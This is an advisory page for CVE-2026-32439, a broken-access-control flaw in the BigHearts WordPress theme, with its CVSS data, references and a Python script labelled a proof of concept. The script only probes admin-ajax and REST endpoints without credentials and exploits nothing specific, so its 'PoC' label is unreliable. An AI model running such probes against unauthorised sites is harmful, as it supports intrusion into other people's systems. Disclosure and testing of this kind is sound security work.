CVE-2026-32439

Description

Missing Authorization vulnerability in WebGeniusLab BigHearts bighearts allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects BigHearts: from n/a through <= 3.1.14.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

BigHearts Theme <= 3.1.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-32439 PoC - BigHearts Theme Broken Access Control
# Affected: BigHearts WordPress Theme <= 3.1.14

import requests
import sys

TARGET_URL = "http://target-site.com"

def check_vulnerability():
    """Check if target is vulnerable to CVE-2026-32439"""
    
    # Try to access potentially unprotected endpoints
    vulnerable_endpoints = [
        f"{TARGET_URL}/wp-admin/admin-ajax.php",
        f"{TARGET_URL}/wp-json/bighearts/v1/",
        f"{TARGET_URL}/?rest_route=/bighearts/v1/"
    ]
    
    print("[*] Testing for CVE-2026-32439 - Broken Access Control")
    print(f"[*] Target: {TARGET_URL}")
    
    for endpoint in vulnerable_endpoints:
        print(f"\n[*] Testing endpoint: {endpoint}")
        
        try:
            response = requests.get(endpoint, timeout=10)
            
            # Check if endpoint responds without authentication
            if response.status_code == 200:
                print(f"[!] Potential vulnerability - Endpoint accessible without auth")
                print(f"[!] Status Code: {response.status_code}")
                print(f"[!] Response preview: {response.text[:200]}")
            else:
                print(f"[*] Endpoint returned: {response.status_code}")
                
        except requests.exceptions.RequestException as e:
            print(f"[!] Error accessing endpoint: {e}")
    
    print("\n[*] Note: Manual verification required for full PoC")
    print("[*] Check specific admin functions exposed without capability checks")

if __name__ == "__main__":
    check_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32439
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32439
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32439/
[4] VulDB https://vuldb.com/cve/CVE-2026-32439
[5] https://patchstack.com/database/Wordpress/Theme/bighearts/vulnerability/wordpress-bighearts-theme-3-1-14-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32439", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:55:04.270", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WebGeniusLab BigHearts bighearts allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects BigHearts: from n/a through <= 3.1.14."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en WebGeniusLab BigHearts bighearts permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a BigHearts: desde n/a hasta <= 3.1.14."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/bighearts/vulnerability/wordpress-bighearts-theme-3-1-14-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}